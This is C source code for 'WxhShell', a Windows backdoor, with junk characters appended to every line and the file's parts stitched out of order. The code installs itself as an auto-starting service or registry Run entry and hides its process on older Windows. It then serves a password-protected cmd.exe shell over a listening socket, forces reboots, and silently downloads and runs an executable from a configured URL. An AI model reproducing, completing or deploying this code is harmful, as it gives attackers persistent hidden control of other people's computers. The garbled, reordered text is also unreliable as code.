    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); asi1c y\  
    if(Boot(SHUTDOWN)) X]fw9tZ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uJ`&hX  
    else { S8=4C`>jf  
    closesocket(wsh); m?j!0>  
    ExitThread(0); 9C$!tz>>+i  
    } j VZi_de  
    break; 5a ~tp'  
    } *o[%?$8T  
  // 获取shell duS #&w  
  case 's': { r+\z0_' w6  
    CmdShell(wsh); %p9bl ,x  
    closesocket(wsh); H5s85"U#  
    ExitThread(0); x/7G0K2\}  
    break; ]#$kA9  
  } LU{Z  
  // 退出 8w&rj-  
  case 'x': { lnDDFsA  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s=TjM?)  
    CloseIt(wsh); -T?IkL)  
    break; PNKT\yd  
    } xu =B  
  // 离开 _@N)]!\MgP  
  case 'q': { $3TTHS o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `0i3"06lr  
    closesocket(wsh); Uot-@|l  
    WSACleanup(); .=yus[,~  
    exit(1); J,O@T)S@  
    break; j/<y  
        }  J31M:<  
  } tA-B3 ]  
  } #Qr4Ke$g[l  
\.c )^QQ  
  // 提示信息 H g`{9v  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mM} Ukmy  
} !XG&=Rd?  
  } pxxFm~"d  
qDM[7q3.  
  return; rcZ SC3  
} eeU$uR  
@MB _gt)7?  
// shell模块句柄 _vdxxhJ=P3  
int CmdShell(SOCKET sock) ik *)j  
{ 0Qp'}_  
STARTUPINFO si; ,)$KS*f"*z  
ZeroMemory(&si,sizeof(si)); N1~V +_mM  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;  |{)xC=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; (nD$%/uK'  
PROCESS_INFORMATION ProcessInfo; Wi?%)hur  
char cmdline[]="cmd"; DME?kh>7  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X-1Vp_(,TP  
  return 0; Z9&D'n)  
} 8-a6Q|   
uX +<`3O  
// 自身启动模式 6I.mc  
int StartFromService(void) n[Iu!v\/*  
{ 3Jm'q,TC  
typedef struct \( <{)GpBi  
{ WcwW@cY7\  
  DWORD ExitStatus; NNw d;AC  
  DWORD PebBaseAddress;  - 1  
  DWORD AffinityMask; L"h@`3o|  
  DWORD BasePriority; h.$__Gs  
  ULONG UniqueProcessId; ky[Xf -9#  
  ULONG InheritedFromUniqueProcessId; .crM!{<Y  
}   PROCESS_BASIC_INFORMATION; dB+GTq=6f  
qW~ R-g]  
PROCNTQSIP NtQueryInformationProcess; cIvYfgIo9  
e=l5j"gq  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~H|LWCU)K8  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; AC:s4iacC  
RzRvu]]8  
  HANDLE             hProcess; p=+*g.,O  
  PROCESS_BASIC_INFORMATION pbi; O^Vy"8Ji}y  
M`P]cX)x  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 18"VB50b}  
  if(NULL == hInst ) return 0; 2nU NI U  
; Uqx&5P}  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P5}[*k%DQw  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); < }wAP_y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n [Xzo}  
Ik5jwfz  
  if (!NtQueryInformationProcess) return 0; s#4ew}  
Zng` oFD  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); iQ!  
  if(!hProcess) return 0; ]KK ZbEO  
G 0QXf  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /QXs-T}d  
fuD1U}c  
  CloseHandle(hProcess); tOM3Gs~o6z  
4@]xn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); #* gU[9U~  
if(hProcess==NULL) return 0; _'hCUXeY'  
id tQXwa  
HMODULE hMod; te*Y]-&I|/  
char procName[255]; <,pLW~2-"  
unsigned long cbNeeded; C6'*/wq  
8gtCY~m  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3.<6;?  
G#n^@kc*,  
  CloseHandle(hProcess); Sd\IGy{a  
l?JO8^Nn  
if(strstr(procName,"services")) return 1; // 以服务启动 jqGo-C~  
0"^oTmQN  
  return 0; // 注册表启动 9U<)_E<y  
} SZ2q}[o`R  
} C{}oLz  
// 主模块 Q)6wkY+!  
int StartWxhshell(LPSTR lpCmdLine) @CaD8%j{  
{ B~!G lT  
  SOCKET wsl; ]tQDk4&i  
BOOL val=TRUE;  6I cM:x  
  int port=0; %V%#y $l  
  struct sockaddr_in door; ,-7/]h,l  
OHP3T(Q5  
  if(wscfg.ws_autoins) Install(); {|5$1v   
?]\W8)  
port=atoi(lpCmdLine); < k+fKl  
e.}3OK  
if(port<=0) port=wscfg.ws_port; ?St=7a(D  
5{ 4"JO3  
  WSADATA data; $uUb$8 Bu  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; moVa'1ul  
g;-+7ViIr  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   G{f`K^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); g2aT`=&Z  
  door.sin_family = AF_INET; qsft*&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^EUOmVN  
  door.sin_port = htons(port); I^M#[xA  
 bL'#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4VmCW"b7h  
closesocket(wsl); )"_Ff,9Z!  
return 1; #U$YZ#B  
} 6t_ 3%{  
DYAwQ"i;6  
  if(listen(wsl,2) == INVALID_SOCKET) { Pv7f _hw  
closesocket(wsl); -y l4tW  
return 1; KO-Zz&2f  
} z[5Y Z~}*  
  Wxhshell(wsl); [/AdeR  
  WSACleanup(); k,;lyE  
Pu$kj"|q*[  
return 0; *CH!<VB/  
5y(t`Fmt  
} d(X\B{  
K#l  -?  
// 以NT服务方式启动 5DkK'tCI9Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )4!CR/ao  
{ 0H OoKh  
DWORD   status = 0; Ko$ $dkSE  
  DWORD   specificError = 0xfffffff; *h*j%  
C,|nmlDN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; yhSk"e'G  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; -[zdX}x.:  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0+K`pS'  
  serviceStatus.dwWin32ExitCode     = 0; v7o?GQ75  
  serviceStatus.dwServiceSpecificExitCode = 0; I 9{40_  
  serviceStatus.dwCheckPoint       = 0; A;fB6  
  serviceStatus.dwWaitHint       = 0; -YzQ2#K  
l$k]O  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); vLv|SqD  
  if (hServiceStatusHandle==0) return; d`?U!?Si  
YW?7*go'Z  
status = GetLastError(); {k_ PMl0G  
  if (status!=NO_ERROR) o%V @D'w  
{ ]k'#g Z$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7m|`tjQ1  
    serviceStatus.dwCheckPoint       = 0; ch0oFc$  
    serviceStatus.dwWaitHint       = 0; :(bdI]  
    serviceStatus.dwWin32ExitCode     = status; 3{Na ZIk  
    serviceStatus.dwServiceSpecificExitCode = specificError; DA+A >5/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); m4P hn~>Gg  
    return;  3}>:  
  } L _vblUDq  
Q^a&qYK  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; pBSq%Hy:  
  serviceStatus.dwCheckPoint       = 0; BKE\SWu  
  serviceStatus.dwWaitHint       = 0; ~rgf{oGz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WZ^{zFoZ  
} Y|%anTP  
$i,6B9  
// 处理NT服务事件,比如:启动、停止 DO7- =74=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) /*u#Ba<<  
{ yxaT7Oqh%  
switch(fdwControl) <X:Ud&\  
{ E fP>O  
case SERVICE_CONTROL_STOP: 9GMH*=3[=  
  serviceStatus.dwWin32ExitCode = 0; hH <6E  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 94~"U5oQ:  
  serviceStatus.dwCheckPoint   = 0; 4*0:bhhhf_  
  serviceStatus.dwWaitHint     = 0; H!unIy|  
  { M|/oFV  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Np.no$_  
  } Z B~l2  
  return; rnnX|}J  
case SERVICE_CONTROL_PAUSE: "%{,T  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Tg"' pO  
  break; ]LEoOdDN"C  
case SERVICE_CONTROL_CONTINUE: 6uu^A9x  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^y&q5p jj  
  break; ;\<""Yj@l  
case SERVICE_CONTROL_INTERROGATE: \p5|}<Sr)  
  break; zb"rMzCH  
}; SQh+5  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); :d;[DYFLxb  
} G;2R]H#p  
-Nsk}Rnk*  
// 标准应用程序主函数 siZr@g!L  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) KKLR'w,A>  
{ ]YCPyc:  
W*YxBn4  
// 获取操作系统版本 lemVP'cn  
OsIsNt=GetOsVer(); p Tcbq  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tl DY k  
6yE'/VB<  
  // 从命令行安装 ;$vLq&(}  
  if(strpbrk(lpCmdLine,"iI")) Install(); }czsa_  
L/Hv4={  
  // 下载执行文件 "/Y<G  
if(wscfg.ws_downexe) { "Z;~Y=hC13  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Z8&4z.6_  
  WinExec(wscfg.ws_filenam,SW_HIDE); WHp97S'd  
} TNh=4xQ}  
^ Xm/  
if(!OsIsNt) { M0RRmW@f.a  
// 如果时win9x,隐藏进程并且设置为注册表启动 tS?a){^:c  
HideProc(); t";{1.  
StartWxhshell(lpCmdLine); 2ubmsbt$  
} {bT9VZ>  
else k) "ao2iXL  
  if(StartFromService()) 9z #P  
  // 以服务方式启动 J5O.*&  
  StartServiceCtrlDispatcher(DispatchTable); ID)^vwn  
else gh TcB  
  // 普通方式启动 8jRs =I  
  StartWxhshell(lpCmdLine); /r276Q  
-7k[Vg?  
return 0; DeH0k[o  
} ^uia`sOP4  
a*D,*C5}  
v9u<F6  
ERF,tLa!  
=========================================== w'A tf  
'0 ]r<O  
E_~x==cb  
<x0)7xX  
4avc=Y5  
L~IE,4  
" H#+\nT2m  
jk )Vb  
#include <stdio.h> 3S5^ `Ag#  
#include <string.h> ZI,j?i6\  
#include <windows.h> y`4{!CEyLW  
#include <winsock2.h> ;>DHD*3X  
#include <winsvc.h> jO=*:{#x  
#include <urlmon.h> 3 -tO;GKb  
:V-k'hm &  
#pragma comment (lib, "Ws2_32.lib") {-HDkG' 8  
#pragma comment (lib, "urlmon.lib") 0E-pA3M6  
kQLT$8io  
#define MAX_USER   100 // 最大客户端连接数 [9OSpq  
#define BUF_SOCK   200 // sock buffer Dzr e'  
#define KEY_BUFF   255 // 输入 buffer !n eo\  
s _~IZ%+<.  
#define REBOOT     0   // 重启 A#(`9  
#define SHUTDOWN   1   // 关机 ur6e&bTp  
bw9 nB{C<  
#define DEF_PORT   5000 // 监听端口 ]BfS270  
-^Xy%  
#define REG_LEN     16   // 注册表键长度 UgC)7 K1  
#define SVC_LEN     80   // NT服务名长度 oCVku:.  
OqBC/p B  
// 从dll定义API p;0 PxL=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); &iNS?1a%f=  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fz3lR2~G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); {(}yG_Q]!  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); *hF^fxLbl  
09d9S`cS\  
// wxhshell配置信息 <#y*h8IZ@t  
struct WSCFG { wX0l?xdI  
  int ws_port;         // 监听端口 ox[ .)v  
  char ws_passstr[REG_LEN]; // 口令 (0OM "`j  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3V}(fnv  
  char ws_regname[REG_LEN]; // 注册表键名 9 6=Z"  
  char ws_svcname[REG_LEN]; // 服务名 o&z!6"S<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 CM^j<9  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Q.A \U>AgV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 _A23.Y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no hU" F;4p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" o\4CoeG  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 BxdX WO  
?ok)>P  
}; eLV.qLBUs  
> H BJk:  
// default Wxhshell configuration s]Gd-j  
struct WSCFG wscfg={DEF_PORT, .*Vkua  
    "xuhuanlingzhe", B`{mdjMy  
    1, DtI$9`~  
    "Wxhshell", `*aBRwvK~  
    "Wxhshell", Lc]1$  
            "WxhShell Service", 2JZdw  
    "Wrsky Windows CmdShell Service", O9^T3~x[V  
    "Please Input Your Password: ", "Zcu[2,  
  1, HTk\723Rdw  
  "http://www.wrsky.com/wxhshell.exe", >3PMnI  
  "Wxhshell.exe"  )3%@9  
    }; ^H3m\!h  
N*_"8LIfi_  
// 消息定义模块 >b48>@~bY  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; SE)nD@:  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ,q#2:b<E  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; l^W uS|G[  
char *msg_ws_ext="\n\rExit."; MQ`%``  
char *msg_ws_end="\n\rQuit."; YJ,*(A18  
char *msg_ws_boot="\n\rReboot..."; (.?ZKL  
char *msg_ws_poff="\n\rShutdown..."; ubbnFE&PD  
char *msg_ws_down="\n\rSave to "; G;s"h%Xw98  
O~PChUU*Y  
char *msg_ws_err="\n\rErr!"; 0Z HDBh  
char *msg_ws_ok="\n\rOK!"; Vb!O8xV4;+  
c -B/~&  
char ExeFile[MAX_PATH]; /e1(? 20  
int nUser = 0; oa`#RC8N  
HANDLE handles[MAX_USER]; ar$*a>'?  
int OsIsNt; ?pG/m%[  
zkexei4^<  
SERVICE_STATUS       serviceStatus; .'T40=7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ag 8`O&+  
{eQWO.C{  
// 函数声明 $UvPo0{  
int Install(void); `/4:I  
int Uninstall(void); "^Rv#  
int DownloadFile(char *sURL, SOCKET wsh); YQd:M%$  
int Boot(int flag); OlY$ v@|  
void HideProc(void); CU$#0f>  
int GetOsVer(void); bd== +   
int Wxhshell(SOCKET wsl); LZ<[ll#C  
void TalkWithClient(void *cs); ~3CVxbB^<  
int CmdShell(SOCKET sock); |^( M{  
int StartFromService(void); ,T|x)"uA`  
int StartWxhshell(LPSTR lpCmdLine); q3h'l,  
4 1t)(+r  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =a$Oecg?  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |V|+lx'sc  
vzXag*0  
// 数据结构和表定义 YGk9b+`  
SERVICE_TABLE_ENTRY DispatchTable[] = {( tHk_q  
{ Ri)uq\E/#  
{wscfg.ws_svcname, NTServiceMain}, S3Y2O x  
{NULL, NULL} P@0Y./Ds  
}; lH2wG2  
x({C(Q'O  
// 自我安装 obo&1Uv,/  
int Install(void) 80;n|nNB  
{ u0 y 1  
  char svExeFile[MAX_PATH]; 2@khSWV  
  HKEY key; mL yBm  
  strcpy(svExeFile,ExeFile); i9A~<  
[4Q"#[V&9  
// 如果是win9x系统,修改注册表设为自启动 2k5/SV X  
if(!OsIsNt) { $yu?.b 9H#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I#G0, &Gv  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eu,`7iQ?(  
  RegCloseKey(key); 27A!\pn  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NM#- Af*pg  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nxo+?:**  
  RegCloseKey(key); 9P WY52!  
  return 0; gfgn68k  
    } cWLqU  
  } BVpO#c~I  
} ~*.-  
else { '@=PGpRF  
T!|=El>  
// 如果是NT以上系统,安装为系统服务 #07!-)Gv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); xDLG=A%]z  
if (schSCManager!=0) eu#'SXSC F  
{ _Z Y\,_  
  SC_HANDLE schService = CreateService "r'ozf2 \  
  ( |E)aT#$f'  
  schSCManager, @xAfZb2E  
  wscfg.ws_svcname, Z`Z5sj 4{  
  wscfg.ws_svcdisp, ,d_Gn!  
  SERVICE_ALL_ACCESS, . iwZ*b{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , & ,hr8  
  SERVICE_AUTO_START, YY5!_k  
  SERVICE_ERROR_NORMAL, y~ rX l  
  svExeFile, DAO]uh{6  
  NULL, %)(Cp-b!  
  NULL, z-T{~{q  
  NULL, $8~e}8dt|  
  NULL, >BVoHt~;  
  NULL e'9r"<>i  
  ); s60 TxB  
  if (schService!=0) L{fFC%|l2L  
  { q_[G1&MC  
  CloseServiceHandle(schService); I5ZqBB  
  CloseServiceHandle(schSCManager); {XCf-{a]~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9KuD(EJS  
  strcat(svExeFile,wscfg.ws_svcname); G }nO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { t18$x "\4k  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9Ul(GI(  
  RegCloseKey(key); yxWO [ Z  
  return 0; 4JyM7ePND}  
    } %; "@Ah  
  } {*m?Kc7k  
  CloseServiceHandle(schSCManager); SPkn 3D6  
} OF U/gaO~  
} {KL5GowH  
,  X{>  
return 1; Vu8,(A7D%O  
} !wz/c M;  
]d}0l6  
// 自我卸载 9pKGr@&   
int Uninstall(void) 5Wx~ZQZ  
{ Zyf P; &  
  HKEY key; wq!iV |  
`Ityi}  
if(!OsIsNt) { .ic:`1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]/X(V|t  
  RegDeleteValue(key,wscfg.ws_regname); RP4Ku9hk  
  RegCloseKey(key); ~ 5"JzT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {FO$yw=>  
  RegDeleteValue(key,wscfg.ws_regname); dt\jGD  
  RegCloseKey(key); rf &M!d}!  
  return 0; Cfu=u *u  
  } qoMfSz"(  
} :mcYZPX#  
} zbkMFD.{y  
else { /iaf ^ >  
C~% 1w%nn  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ay )/q5  
if (schSCManager!=0) #U mF-c  
{ 5 `D-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);  t+uE  
  if (schService!=0) f9$xk|2g  
  { BqK(DH^9N  
  if(DeleteService(schService)!=0) { ~wm;;#_O  
  CloseServiceHandle(schService); i yesD  
  CloseServiceHandle(schSCManager); bC!`@/  
  return 0; OX]V) QHVZ  
  } 5&Ts7& .  
  CloseServiceHandle(schService); =@x`?oev  
  } w4,Ag{t>  
  CloseServiceHandle(schSCManager); o`S ?  
} OWq'[T4  
} k44Q):ncY7  
5*%#o  
return 1; da!P0x9p  
} ] y{WD=T  
nuQ]8 -,  
// 从指定url下载文件 NE2pL@ sk  
int DownloadFile(char *sURL, SOCKET wsh) pmvT$;7I  
{ ^"\s eS  
  HRESULT hr; &C<yfRDu  
char seps[]= "/"; jhgX{xc  
char *token; *A'FC|\  
char *file; SymwAS+  
char myURL[MAX_PATH]; R7 jmv n  
char myFILE[MAX_PATH]; Ga>uFb}W~  
K BE Ax3  
strcpy(myURL,sURL); y m,H@~  
  token=strtok(myURL,seps); )::>q5c  
  while(token!=NULL) 9# 4Y1LS)  
  { ?tdd3ai>  
    file=token; BimjQ;jtI  
  token=strtok(NULL,seps); a 3SlxsWW  
  } URgk^nt2p  
e!-,PU9+  
GetCurrentDirectory(MAX_PATH,myFILE); 6Q&r0>^{  
strcat(myFILE, "\\"); WS8+7O'1\  
strcat(myFILE, file); \2-@'^i  
  send(wsh,myFILE,strlen(myFILE),0); rHge~nY<  
send(wsh,"...",3,0); J@pb[OL,  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (:V>Hjt  
  if(hr==S_OK)  +ECDD'^!  
return 0; :,12")N  
else ] Wy)   
return 1; Psura$:  
[&[^G25  
} hY5WJ;  
BaF!O5M  
// 系统电源模块 f"u *D,/sS  
int Boot(int flag) <:>SGSE9  
{ &GTI  
  HANDLE hToken; }TQ{`a@  
  TOKEN_PRIVILEGES tkp; Am0{8 '  
>Hb^P)3  
  if(OsIsNt) { KOq;jH{$  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); moj ]j`P5a  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); n]_[NR) i  
    tkp.PrivilegeCount = 1; UV 4>N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 63|+2-E2Q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); BcjP+$k4_  
if(flag==REBOOT) { `vG,}Pt]  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d,vNem-Z*L  
  return 0; h}_~y'^!  
} Lf([dE1  
else { G0 J4O!3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]r! >{  
  return 0; i@5[FC  
} lE8&..~l$+  
  } qSqI7ptA\  
  else { 1 2++RkL#  
if(flag==REBOOT) { up3O|lj4  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V-I(WzR9y  
  return 0; XfE?C:v   
} lU^;Z 6f  
else { {CG_P,FO  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 3nZ9m  
  return 0; aJL^AG  
} AsS$C&^  
} 5 8-e^.  
f %lD08Sl  
return 1; W6T|iZoV"r  
} "vYE+   
/yz=Cjoz  
// win9x进程隐藏模块 _Y=2/*y^  
void HideProc(void) <^~FLjsfg  
{ .?p\n7  
/&& 2u7*  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); do-ahl,  
  if ( hKernel != NULL ) aSuM2  
  { +;g {$da5  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); |6UtW{2I/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "Td`AuP@,  
    FreeLibrary(hKernel); - K%,^6  
  } k%wn0Erd  
Xtz-\v#0o'  
return; KTvzOI8  
} &mj6rIz  
6iEhsL&K  
// 获取操作系统版本 zf4Ec-)  
int GetOsVer(void) fPi3s b`}  
{ \T]EZ'+O  
  OSVERSIONINFO winfo; (>6*#9#p  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +x9cT G  
  GetVersionEx(&winfo); {e|*01hE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .6O"| Mqb  
  return 1; uPYmHA} _/  
  else gj\)CBOv  
  return 0; q#Zs\PD  
} ZvYLL{>}w  
j*e6 vX  
// 客户端句柄模块 mNf8kwr  
int Wxhshell(SOCKET wsl) E3@QI?n^^  
{ {mWui9 %M  
  SOCKET wsh; }>^Q'BW;65  
  struct sockaddr_in client; *19ax&|*S  
  DWORD myID; {7cX#1  
<R%;~){  
  while(nUser<MAX_USER) 6Ao%>;e*  
{ LA_3=@2.H  
  int nSize=sizeof(client); n .!Ym X4  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >@WX>0`ht  
  if(wsh==INVALID_SOCKET) return 1; _A<u#.yd  
}?cGf- c  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); tt%MoQ)   
if(handles[nUser]==0) A*. /,KT  
  closesocket(wsh); _, ;j7%j  
else dC=)^(  
  nUser++; uj%skOD6Z  
  } i{!T&8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xD&^j$Em  
Lb{e,JH  
  return 0; *Ype>x{  
} @)kO=E d  
IchCACK  
// 关闭 socket hlu:=<B  
void CloseIt(SOCKET wsh) ,+qVu,  
{ 22kpl)vbU  
closesocket(wsh); WwC 5!kZ  
nUser--; 2([2Pb3<"  
ExitThread(0); &U+ _ -Ph  
} \BWyk A>  
j1SMeDDM ~  
// 客户端请求句柄 =n^!VXaL]]  
void TalkWithClient(void *cs) MYBx&]!\  
{ yCJFo  
r]W  
  SOCKET wsh=(SOCKET)cs; 7nbB^2  
  char pwd[SVC_LEN]; _#$ *y  
  char cmd[KEY_BUFF]; ?JV|dM  
char chr[1]; 6"c1;P!4   
int i,j; s5RjIa0$7  
pLMRwgzr  
  while (nUser < MAX_USER) { :Rs^0F8)c  
AtR?J"3E  
if(wscfg.ws_passstr) { <I}2k  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); t}v2$<!I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b{fQ|QD{^E  
  //ZeroMemory(pwd,KEY_BUFF); @fu M)B1"  
      i=0;  )>D+x5o]  
  while(i<SVC_LEN) { g}p;\o   
V\V)<BARe  
  // 设置超时 \4"S7.% |  
  fd_set FdRead; i,13b e  
  struct timeval TimeOut; [1Ydo`  
  FD_ZERO(&FdRead); A2}Rl%+X]6  
  FD_SET(wsh,&FdRead); MNH1D! }  
  TimeOut.tv_sec=8; Y(\T- bI  
  TimeOut.tv_usec=0; jjJ2>3avY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); qQ!1t>j+H  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Soie^$ Y  
{0! ~C=P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); bYz&P`o}  
  pwd=chr[0]; =A Vg Iv  
  if(chr[0]==0xd || chr[0]==0xa) { ~&\ f|%  
  pwd=0; a[lY S{  
  break; R<i38/ ~G  
  } 8Ld:"Y#  
  i++; D>Gt]s  
    } "EU{8b  
IV lf=k  
  // 如果是非法用户,关闭 socket [~:-&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $A3<G-4O  
} i{D=l7j|w  
do uc('@  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); XC7%vDIt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B2Xn?i3 l  
@"T"7c?Cv  
while(1) { i(? ,6)9  
 FgL,k  
  ZeroMemory(cmd,KEY_BUFF); +n}$pM|NKU  
PSawMPw  
      // 自动支持客户端 telnet标准   tNVV)C  
  j=0; Rl|4S[  
  while(j<KEY_BUFF) { [i0Hm)Bd3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); k%y9aO  
  cmd[j]=chr[0]; ?PTk1sB  
  if(chr[0]==0xa || chr[0]==0xd) { 3]-_q"Co4f  
  cmd[j]=0; `nUO l  
  break; l"n{.aL  
  } p;?*}xa  
  j++; S4witIK5  
    } jlFk@:y4  
!ZDzEP*  
  // 下载文件 m\/ Tj0e  
  if(strstr(cmd,"http://")) { :S$l"wrh\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); a?yMHb{F  
  if(DownloadFile(cmd,wsh)) @|a>&~xX  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); v#=`%]mL  
  else ~x{.jn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {_RWVVVe  
  } ~) ?  
  else { fjnTe  
 `[zQf  
